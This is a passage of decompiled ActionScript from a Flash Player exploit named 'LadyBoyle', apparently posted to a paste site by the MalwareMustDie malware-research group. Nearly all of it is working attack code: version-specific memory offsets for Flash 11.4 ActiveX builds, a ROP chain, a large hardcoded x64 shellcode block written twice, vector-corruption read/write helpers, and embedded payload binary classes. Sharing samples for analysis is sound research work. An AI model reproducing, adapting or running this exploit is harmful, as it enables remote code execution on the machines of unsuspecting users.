  681. _local40 = (_local16 - 2558975);
  682. };
  683. break;
  684. case "win 11,4,402,287":
  685. if (capabilities.playertype.tolowercase() == "activex") {
  686. _local25 = (_local16 - 4396458);
  687. _local26 = ((_local16 - 10488402) + 6295484);
  688. _local36 = (_local16 - 10718521);
  689. _local37 = (_local16 - 10488402);
  690. _local38 = (_local16 - 10712843);
  691. _local39 = (_local16 - 4552839);
  692. _local40 = ((_local16 - 4396458) - 5883414);
  693. };
  694. break;
  695. case "win 11,4,402,278":
  696. if (capabilities.playertype.tolowercase() == "activex") {
  697. _local25 = (_local16 - 4174757);
  698. _local26 = (_local16 - 4191990);
  699. _local36 = (_local16 - 4618011);
  700. _local37 = (_local16 - 4568738);
  701. _local38 = (_local16 - 6192519);
  702. _local39 = (_local16 - 4551855);
  703. _local40 = (_local16 - 1561744);
  704. };
  705. break;
  706. case "win 11,4,402,265":
  707. if (capabilities.playertype.tolowercase() == "activex") {
  708. _local25 = (_local16 - 4174757);
  709. _local26 = (_local16 - 4191990);
  710. _local36 = (_local16 - 1865551);
  711. _local37 = (_local16 - 1146567);
  712. _local38 = (_local16 - 1838030);
  713. _local39 = (_local16 - 4551855);
  714. _local40 = (_local16 - 927856);
  715. };
  716. break;
  717. default:
  718. do {} while (1);
  719. };
  720. _local17.endian = Endian.LITTLE_ENDIAN;
  721. _local34 = _local17.position;
  722. _local17.position = (_local17.position + 224);
  723. _local17.writeUnsignedInt(_local25);
  724. _local17.position = _local34;
  725. _local17.position = (_local17.position + 160);
  726. _local17.writeUnsignedInt((_local12 + 0x0100));
  727. _local17.writeUnsignedInt(_local31);
  728. _local17.position = _local34;
  729. _local17.writeUnsignedInt(_local37);
  730. _local17.writeUnsignedInt(0);
  731. _local17.writeUnsignedInt(64);
  732. _local17.writeUnsignedInt(0);
  733. _local17.writeUnsignedInt(_local39);
  734. _local17.writeUnsignedInt(0);
  735. _local17.position = (_local17.position + 40);
  736. _local17.writeUnsignedInt(_local36);
  737. _local17.writeUnsignedInt(0);
  738. _local17.writeUnsignedInt((_local12 + 0x0100));
  739. _local17.writeUnsignedInt(_local31);
  740. _local17.writeUnsignedInt(_local38);
  741. _local17.writeUnsignedInt(0);
  742. _local17.writeUnsignedInt(0x2000);
  743. _local17.writeUnsignedInt(0);
  744. _local17.writeUnsignedInt(_local37);
  745. _local17.writeUnsignedInt(0);
  746. _local17.writeUnsignedInt(_local26);
  747. _local17.writeUnsignedInt(0);
  748. _local17.writeUnsignedInt(_local40);
  749. _local17.writeUnsignedInt(0);
  750. _local17.position = (_local34 + 0x0100);
  751. _local17.writeUnsignedInt(1442615440);
  752. _local17.writeUnsignedInt(4041507656);
  753. _local17.writeUnsignedInt(1708274504);
  754. _local17.writeUnsignedInt(1616022344);
  755. _local17.writeUnsignedInt(408062792);
  756. _local17.writeUnsignedInt(542280520);
  757. _local17.writeUnsignedInt(1349684040);
  758. _local17.writeUnsignedInt(1253510984);
  759. _local17.writeUnsignedInt(3375582538);
  760. _local17.writeUnsignedInt(2898277192);
  761. _local17.writeUnsignedInt(41705788);
  762. _local17.writeUnsignedInt(3242270764);
  763. _local17.writeUnsignedInt(54791625);
  764. _local17.writeUnsignedInt(1391321800);
  765. _local17.writeUnsignedInt(3125367105);
  766. _local17.writeUnsignedInt(2460948186);
  767. _local17.writeUnsignedInt(0);
  768. _local17.writeUnsignedInt(1976187725);
  769. _local17.writeUnsignedInt(1384859717);
  770. _local17.writeUnsignedInt(1010993952);
  771. _local17.writeUnsignedInt(2344747848);
  772. _local17.writeUnsignedInt(34944);
  773. _local17.writeUnsignedInt(0xC0854800);
  774. _local17.writeUnsignedInt(2168991860);
  775. _local17.writeUnsignedInt(98540);
  776. _local17.writeUnsignedInt(0xFC8B4800);
  777. _local17.writeUnsignedInt(2162983240);
  778. _local17.writeUnsignedInt(0x48000000);
  779. _local17.writeUnsignedInt(2337325571);
  780. _local17.writeUnsignedInt(2336495688);
  781. _local17.writeUnsignedInt(55320640);
  782. _local17.writeUnsignedInt(1284065474);
  783. _local17.writeUnsignedInt(2303465508);
  784. _local17.writeUnsignedInt(1210065988);
  785. _local17.writeUnsignedInt(673465481);
  786. _local17.writeUnsignedInt(1497434347);
  787. _local17.writeUnsignedInt(311117914);
  788. _local17.writeUnsignedInt(1095860971);
  789. _local17.writeUnsignedInt(3669641552);
  790. _local17.writeUnsignedInt(22010614);
  791. _local17.writeUnsignedInt(0xE8000000);
  792. _local17.writeUnsignedInt(315);
  793. _local17.writeUnsignedInt(1225230664);
  794. _local17.writeUnsignedInt(2924948922);
  795. _local17.writeUnsignedInt(347);
  796. _local17.writeUnsignedInt(19523584);
  797. _local17.writeUnsignedInt(0x89480000);
  798. _local17.writeUnsignedInt(3125348423);
  799. _local17.writeUnsignedInt(1384617670);
  800. _local17.writeUnsignedInt(1);
  801. _local17.writeUnsignedInt(71400);
  802. _local17.writeUnsignedInt(0x47894800);
  803. _local17.writeUnsignedInt(1287276816);
  804. _local17.writeUnsignedInt(17245815);
  805. _local17.writeUnsignedInt(0xE8000000);
  806. _local17.writeUnsignedInt(259);
  807. _local17.writeUnsignedInt(407341384);
  808. _local17.writeUnsignedInt(4080056905);
  809. _local17.writeUnsignedInt(58441);
  810. _local17.writeUnsignedInt(0xF0E80000);
  811. _local17.writeUnsignedInt(0x48000000);
  812. _local17.writeUnsignedInt(1210075017);
  813. _local17.writeUnsignedInt(2370369419);
  814. _local17.writeUnsignedInt(32958);
  815. _local17.writeUnsignedInt(0x40B900);
  816. _local17.writeUnsignedInt(0x33480000);
  817. _local17.writeUnsignedInt(3115054016);
  818. _local17.writeUnsignedInt(0x0100);
  819. _local17.writeUnsignedInt(2156301640);
  820. _local17.writeUnsignedInt(0x48000000);
  821. _local17.writeUnsignedInt(2336805003);
  822. _local17.writeUnsignedInt(1451969752);
  823. _local17.writeUnsignedInt(3539943712);
  824. _local17.writeUnsignedInt(2156301640);
  825. _local17.writeUnsignedInt(0x48000000);
  826. _local17.writeUnsignedInt(860408115);
  827. _local17.writeUnsignedInt(51153627);
  828. _local17.writeUnsignedInt(2160328520);
  829. _local17.writeUnsignedInt(0xF57500F9);
  830. _local17.writeUnsignedInt(3352035144);
  831. _local17.writeUnsignedInt(1868759812);
  832. _local17.writeUnsignedInt(1153918574);
  833. _local17.writeUnsignedInt(1734935555);
  834. _local17.writeUnsignedInt(1153917998);
  835. _local17.writeUnsignedInt(1819019267);
  836. _local17.writeUnsignedInt(0x33450000);
  837. _local17.writeUnsignedInt(1153910985);
  838. _local17.writeUnsignedInt(12324);
  839. _local17.writeUnsignedInt(0x8D480000);
  840. _local17.writeUnsignedInt(32910);
  841. _local17.writeUnsignedInt(45629696);
  842. _local17.writeUnsignedInt(0x48000000);
  843. _local17.writeUnsignedInt(49863);
  844. _local17.writeUnsignedInt(0x44C74000);
  845. _local17.writeUnsignedInt(8398884);
  846. _local17.writeUnsignedInt(0x44C70000);
  847. _local17.writeUnsignedInt(139300);
  848. _local17.writeUnsignedInt(0x8B4C0000);
  849. _local17.writeUnsignedInt(3539943702);
  850. _local17.writeUnsignedInt(1222150984);
  851. _local17.writeUnsignedInt(268433539);
  852. _local17.writeUnsignedInt(40068);
  853. _local17.writeUnsignedInt(0x4C8D4C00);
  854. _local17.writeUnsignedInt(3125297188);
  855. _local17.writeUnsignedInt(0x42424242);
  856. _local17.writeUnsignedInt(0x42424242);
  857. _local17.writeUnsignedInt(3091304592);
  858. _local17.writeUnsignedInt(0x41414141);
  859. _local17.writeUnsignedInt(1221299016);
  860. _local17.writeUnsignedInt(539247815);
  861. _local17.writeUnsignedInt(0);
  862. _local17.writeUnsignedInt(139889484);
  863. _local17.writeUnsignedInt(1221787457);
  864. _local17.writeUnsignedInt(0x7400F883);
  865. _local17.writeUnsignedInt(3414902892);
  866. _local17.writeUnsignedInt(274107212);
  867. _local17.writeUnsignedInt(1221787457);
  868. _local17.writeUnsignedInt(8425101);
  869. _local17.writeUnsignedInt(0x8B4C0000);
  870. _local17.writeUnsignedInt(4282456150);
  871. _local17.writeUnsignedInt(1213393874);
  872. _local17.writeUnsignedInt(270814347);
  873. _local17.writeUnsignedInt(608471884);
  874. _local17.writeUnsignedInt(3388950536);
  875. _local17.writeUnsignedInt(2285144897);
  876. _local17.writeUnsignedInt(1307706184);
  877. _local17.writeUnsignedInt(860408115);
  878. _local17.writeUnsignedInt(3242306752);
  879. _local17.writeUnsignedInt(54791625);
  880. _local17.writeUnsignedInt(1975794376);
  881. _local17.writeUnsignedInt(3246475761);
  882. _local17.writeUnsignedInt(2460948186);
  883. _local17.writeUnsignedInt(1976187717);
  884. _local17.writeUnsignedInt(1149978840);
  885. _local17.writeUnsignedInt(2336505892);
  886. _local17.writeUnsignedInt(55321664);
  887. _local17.writeUnsignedInt(2336319170);
  888. _local17.writeUnsignedInt(2336507916);
  889. _local17.writeUnsignedInt(55319616);
  890. _local17.writeUnsignedInt(76235202);
  891. _local17.writeUnsignedInt(3254995080);
  892. _local17.writeUnsignedInt(3108606147);
  893. _local17.writeUnsignedInt(0x47474747);
  894. _local17.writeUnsignedInt(1095190343);
  895. _local17.writeUnsignedInt(268552001);
  896. _local17.writeUnsignedInt(0x4D000000);
  897. _local17.writeUnsignedInt(4285563277);
  898. _local17.writeUnsignedInt(2336882687);
  899. _local17.writeUnsignedInt(8997121);
  900. _local17.writeUnsignedInt(138513225);
  901. _local17.writeUnsignedInt(138447177);
  902. _local17.writeUnsignedInt(3108606096);
  903. _local17.writeUnsignedInt(0x48484848);
  904. _local17.writeUnsignedInt(0x48484848);
  905. _local17.writeUnsignedInt(3091304592);
  906. _local17.writeUnsignedInt(0x49494949);
  907. _local17.writeUnsignedInt(1090619717);
  908. _local17.writeUnsignedInt(278983);
  909. _local17.writeUnsignedInt(0x48000000);
  910. _local17.writeUnsignedInt(3282593165);
  911. _local17.writeUnsignedInt(0x90909090);
  912. _local18.data.now = new date()
  913. .time;
  914. _local18.flush();
  915. _local18.close();
  916. _local35 = new this.the_x64_Class(); /// x64
  917. _local17.writeBytes(_local35, 0, _local35.length);
  918. _local12 = _local13;
  919. _local15 = ((((_local12 + 128) - _local10) - 16) / 8);
  920. _local12 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[0];
  921. _local15 = ((((_local12 + 16) - _local10) - 16) / 8);
  922. _local12 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[0];
  923. _local12 = (_local12 + _local14);
  924. _local17.position = _local14; //// Buiding x64 binary...........
  925. _local34 = _local17.position;
  926. _local17.position = (_local17.position + 224);
  927. _local17.writeUnsignedInt(_local25);
  928. _local17.position = _local34;
  929. _local17.position = (_local17.position + 160);
  930. _local17.writeUnsignedInt((_local12 + 0x0100));
  931. _local17.writeUnsignedInt(_local31);
  932. _local17.position = _local34;
  933. _local17.writeUnsignedInt(_local37);
  934. _local17.writeUnsignedInt(0);
  935. _local17.writeUnsignedInt(64);
  936. _local17.writeUnsignedInt(0);
  937. _local17.writeUnsignedInt(_local39);
  938. _local17.writeUnsignedInt(0);
  939. _local17.position = (_local17.position + 40);
  940. _local17.writeUnsignedInt(_local36);
  941. _local17.writeUnsignedInt(0);
  942. _local17.writeUnsignedInt((_local12 + 0x0100));
  943. _local17.writeUnsignedInt(_local31);
  944. _local17.writeUnsignedInt(_local38);
  945. _local17.writeUnsignedInt(0);
  946. _local17.writeUnsignedInt(0x2000);
  947. _local17.writeUnsignedInt(0);
  948. _local17.writeUnsignedInt(_local37);
  949. _local17.writeUnsignedInt(0);
  950. _local17.writeUnsignedInt(_local26);
  951. _local17.writeUnsignedInt(0);
  952. _local17.writeUnsignedInt(_local40);
  953. _local17.writeUnsignedInt(0);
  954. _local17.position = (_local34 + 0x0100);
  955. _local17.writeUnsignedInt(1442615440);
  956. _local17.writeUnsignedInt(4041507656);
  957. _local17.writeUnsignedInt(1708274504);
  958. _local17.writeUnsignedInt(1616022344);
  959. _local17.writeUnsignedInt(408062792);
  960. _local17.writeUnsignedInt(542280520);
  961. _local17.writeUnsignedInt(1349684040);
  962. _local17.writeUnsignedInt(1253510984);
  963. _local17.writeUnsignedInt(3375582538);
  964. _local17.writeUnsignedInt(2898277192);
  965. _local17.writeUnsignedInt(41705788);
  966. _local17.writeUnsignedInt(3242270764);
  967. _local17.writeUnsignedInt(54791625);
  968. _local17.writeUnsignedInt(1391321800);
  969. _local17.writeUnsignedInt(3125367105);
  970. _local17.writeUnsignedInt(2460948186);
  971. _local17.writeUnsignedInt(0);
  972. _local17.writeUnsignedInt(1976187725);
  973. _local17.writeUnsignedInt(1384859717);
  974. _local17.writeUnsignedInt(1010993952);
  975. _local17.writeUnsignedInt(2344747848);
  976. _local17.writeUnsignedInt(34944);
  977. _local17.writeUnsignedInt(0xC0854800);
  978. _local17.writeUnsignedInt(2168991860);
  979. _local17.writeUnsignedInt(98540);
  980. _local17.writeUnsignedInt(0xFC8B4800);
  981. _local17.writeUnsignedInt(2162983240);
  982. _local17.writeUnsignedInt(0x48000000);
  983. _local17.writeUnsignedInt(2337325571);
  984. _local17.writeUnsignedInt(2336495688);
  985. _local17.writeUnsignedInt(55320640);
  986. _local17.writeUnsignedInt(1284065474);
  987. _local17.writeUnsignedInt(2303465508);
  988. _local17.writeUnsignedInt(1210065988);
  989. _local17.writeUnsignedInt(673465481);
  990. _local17.writeUnsignedInt(1497434347);
  991. _local17.writeUnsignedInt(311117914);
  992. _local17.writeUnsignedInt(1095860971);
  993. _local17.writeUnsignedInt(3669641552);
  994. _local17.writeUnsignedInt(22010614);
  995. _local17.writeUnsignedInt(0xE8000000);
  996. _local17.writeUnsignedInt(315);
  997. _local17.writeUnsignedInt(1225230664);
  998. _local17.writeUnsignedInt(2924948922);
  999. _local17.writeUnsignedInt(347);
  1000. _local17.writeUnsignedInt(19523584);
  1001. _local17.writeUnsignedInt(0x89480000);
  1002. _local17.writeUnsignedInt(3125348423);
  1003. _local17.writeUnsignedInt(1384617670);
  1004. _local17.writeUnsignedInt(1);
  1005. _local17.writeUnsignedInt(71400);
  1006. _local17.writeUnsignedInt(0x47894800);
  1007. _local17.writeUnsignedInt(1287276816);
  1008. _local17.writeUnsignedInt(17245815);
  1009. _local17.writeUnsignedInt(0xE8000000);
  1010. _local17.writeUnsignedInt(259);
  1011. _local17.writeUnsignedInt(407341384);
  1012. _local17.writeUnsignedInt(4080056905);
  1013. _local17.writeUnsignedInt(58441);
  1014. _local17.writeUnsignedInt(0xF0E80000);
  1015. _local17.writeUnsignedInt(0x48000000);
  1016. _local17.writeUnsignedInt(1210075017);
  1017. _local17.writeUnsignedInt(2370369419);
  1018. _local17.writeUnsignedInt(32958);
  1019. _local17.writeUnsignedInt(0x40B900);
  1020. _local17.writeUnsignedInt(0x33480000);
  1021. _local17.writeUnsignedInt(3115054016);
  1022. _local17.writeUnsignedInt(0x0100);
  1023. _local17.writeUnsignedInt(2156301640);
  1024. _local17.writeUnsignedInt(0x48000000);
  1025. _local17.writeUnsignedInt(2336805003);
  1026. _local17.writeUnsignedInt(1451969752);
  1027. _local17.writeUnsignedInt(3539943712);
  1028. _local17.writeUnsignedInt(2156301640);
  1029. _local17.writeUnsignedInt(0x48000000);
  1030. _local17.writeUnsignedInt(860408115);
  1031. _local17.writeUnsignedInt(51153627);
  1032. _local17.writeUnsignedInt(2160328520);
  1033. _local17.writeUnsignedInt(0xF57500F9);
  1034. _local17.writeUnsignedInt(3352035144);
  1035. _local17.writeUnsignedInt(1868759812);
  1036. _local17.writeUnsignedInt(1153918574);
  1037. _local17.writeUnsignedInt(1734935555);
  1038. _local17.writeUnsignedInt(1153917998);
  1039. _local17.writeUnsignedInt(1819019267);
  1040. _local17.writeUnsignedInt(0x33450000);
  1041. _local17.writeUnsignedInt(1153910985);
  1042. _local17.writeUnsignedInt(12324);
  1043. _local17.writeUnsignedInt(0x8D480000);
  1044. _local17.writeUnsignedInt(32910);
  1045. _local17.writeUnsignedInt(45629696);
  1046. _local17.writeUnsignedInt(0x48000000);
  1047. _local17.writeUnsignedInt(49863);
  1048. _local17.writeUnsignedInt(0x44C74000);
  1049. _local17.writeUnsignedInt(8398884);
  1050. _local17.writeUnsignedInt(0x44C70000);
  1051. _local17.writeUnsignedInt(139300);
  1052. _local17.writeUnsignedInt(0x8B4C0000);
  1053. _local17.writeUnsignedInt(3539943702);
  1054. _local17.writeUnsignedInt(1222150984);
  1055. _local17.writeUnsignedInt(268433539);
  1056. _local17.writeUnsignedInt(40068);
  1057. _local17.writeUnsignedInt(0x4C8D4C00);
  1058. _local17.writeUnsignedInt(3125297188);
  1059. _local17.writeUnsignedInt((_local12 + 900));
  1060. _local17.writeUnsignedInt(_local31);
  1061. _local17.writeUnsignedInt(3091304592);
  1062. _local17.writeUnsignedInt(_local35.length);
  1063. _local17.writeUnsignedInt(1221299016);
  1064. _local17.writeUnsignedInt(539247815);
  1065. _local17.writeUnsignedInt(0);
  1066. _local17.writeUnsignedInt(139889484);
  1067. _local17.writeUnsignedInt(1221787457);
  1068. _local17.writeUnsignedInt(0x7400F883);
  1069. _local17.writeUnsignedInt(3414902892);
  1070. _local17.writeUnsignedInt(274107212);
  1071. _local17.writeUnsignedInt(1221787457);
  1072. _local17.writeUnsignedInt(8425101);
  1073. _local17.writeUnsignedInt(0x8B4C0000);
  1074. _local17.writeUnsignedInt(4282456150);
  1075. _local17.writeUnsignedInt(1213393874);
  1076. _local17.writeUnsignedInt(270814347);
  1077. _local17.writeUnsignedInt(608471884);
  1078. _local17.writeUnsignedInt(3388950536);
  1079. _local17.writeUnsignedInt(2285144897);
  1080. _local17.writeUnsignedInt(1307706184);
  1081. _local17.writeUnsignedInt(860408115);
  1082. _local17.writeUnsignedInt(3242306752);
  1083. _local17.writeUnsignedInt(54791625);
  1084. _local17.writeUnsignedInt(1975794376);
  1085. _local17.writeUnsignedInt(3246475761);
  1086. _local17.writeUnsignedInt(2460948186);
  1087. _local17.writeUnsignedInt(1976187717);
  1088. _local17.writeUnsignedInt(1149978840);
  1089. _local17.writeUnsignedInt(2336505892);
  1090. _local17.writeUnsignedInt(55321664);
  1091. _local17.writeUnsignedInt(2336319170);
  1092. _local17.writeUnsignedInt(2336507916);
  1093. _local17.writeUnsignedInt(55319616);
  1094. _local17.writeUnsignedInt(76235202);
  1095. _local17.writeUnsignedInt(3254995080);
  1096. _local17.writeUnsignedInt(3108606147);
  1097. _local17.writeUnsignedInt(_local10);
  1098. _local17.writeUnsignedInt(_local31);
  1099. _local17.writeUnsignedInt(268552001);
  1100. _local17.writeUnsignedInt(0x4D000000);
  1101. _local17.writeUnsignedInt(4285563277);
  1102. _local17.writeUnsignedInt(2336882687);
  1103. _local17.writeUnsignedInt(8997121);
  1104. _local17.writeUnsignedInt(138513225);
  1105. _local17.writeUnsignedInt(138447177);
  1106. _local17.writeUnsignedInt(3108606096);
  1107. _local17.writeUnsignedInt(_local11);
  1108. _local17.writeUnsignedInt(_local31);
  1109. _local17.writeUnsignedInt(3091304592);
  1110. _local17.writeUnsignedInt(_local16);
  1111. _local17.writeUnsignedInt(1090619717);
  1112. _local17.writeUnsignedInt(278983);
  1113. _local17.writeUnsignedInt(0x48000000);
  1114. _local17.writeUnsignedInt(3282593165);
  1115. _local17.writeUnsignedInt(0x90909090);
  1116. _local15 = (((_local11 - _local10) - 16) / 8);
  1117. (_local5[_local7][_local22] as Vector. < Number > )[_local15] = this.UintToDouble(_local12, _local31);
  1118. new number(_local6.tostring());
  1119. return;
  1120. };
  1121. do {} while (1);
  1122. public
  1123. function randRange(_arg1: number, _arg2: number): number {
  1124. var _local3: number = (math.floor((math.random() * ((_arg2 - _arg1) + 1))) + _arg1);
  1125. return (_local3);
  1126. public
  1127. function empty(): void {
  1128. var _local1: textfield = new textfield();
  1129. _local1.autosize = TextFieldAutoSize.left;
  1130. var _local2: textformat = new textformat();
  1131. _local2.size = 30;
  1132. _local2.font = "Arial";
  1133. _local2.color = 0xFF0000;
  1134. _local1.settextformat(_local2);
  1135. _local1.text = " ";
  1136. addChild(_local1);
  1137. public
  1138. function UintToDouble(_arg1: uint, _arg2: uint): number {
  1139. var _local3: ByteArray = new ByteArray();
  1140. _local3.endian = Endian.LITTLE_ENDIAN;
  1141. _local3.writeInt(_arg1);
  1142. _local3.writeInt(_arg2);
  1143. _local3.position = 0;
  1144. return (_local3.readDouble());
  1145. public
  1146. function ReadDouble(_arg1: Vector. < Number > , _arg2: uint): Vector. < uint > {
  1147. var _local3: Vector. < uint > = new < uint > [0, 0];
  1148. var _local4: number = _arg1[_arg2];
  1149. var _local5: ByteArray = new ByteArray();
  1150. _local5.position = 0;
  1151. _local5.writeDouble(_local4);
  1152. _local3[1] = ((((_local5[0] * 16777216) + (_local5[1] * 65536)) + (_local5[2] * 0x0100)) + _local5[3]);
  1153. _local3[0] = ((((_local5[4] * 16777216) + (_local5[5] * 65536)) + (_local5[6] * 0x0100)) + _local5[7]);
  1154. return (_local3);
  1155.  
  1156. var _local1: * = new LadyBoyle();
  1157. return (_local1);
  1158. } //package
  1159. package {
  1160. import mx.core.*;
  1161.  
  1162. public class LadyBoyle_the_x32_Class extends ByteArrayAsset {
  1163.  
  1164. } //package
  1165. package {
  1166. import mx.core.*;
  1167.  
  1168. public class LadyBoyle_the_x64_Class extends ByteArrayAsset {
  1169.  
  1170. } //package
  1171.  
  1172.  
  1173. ----
  1174. #MalwareMustDie
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement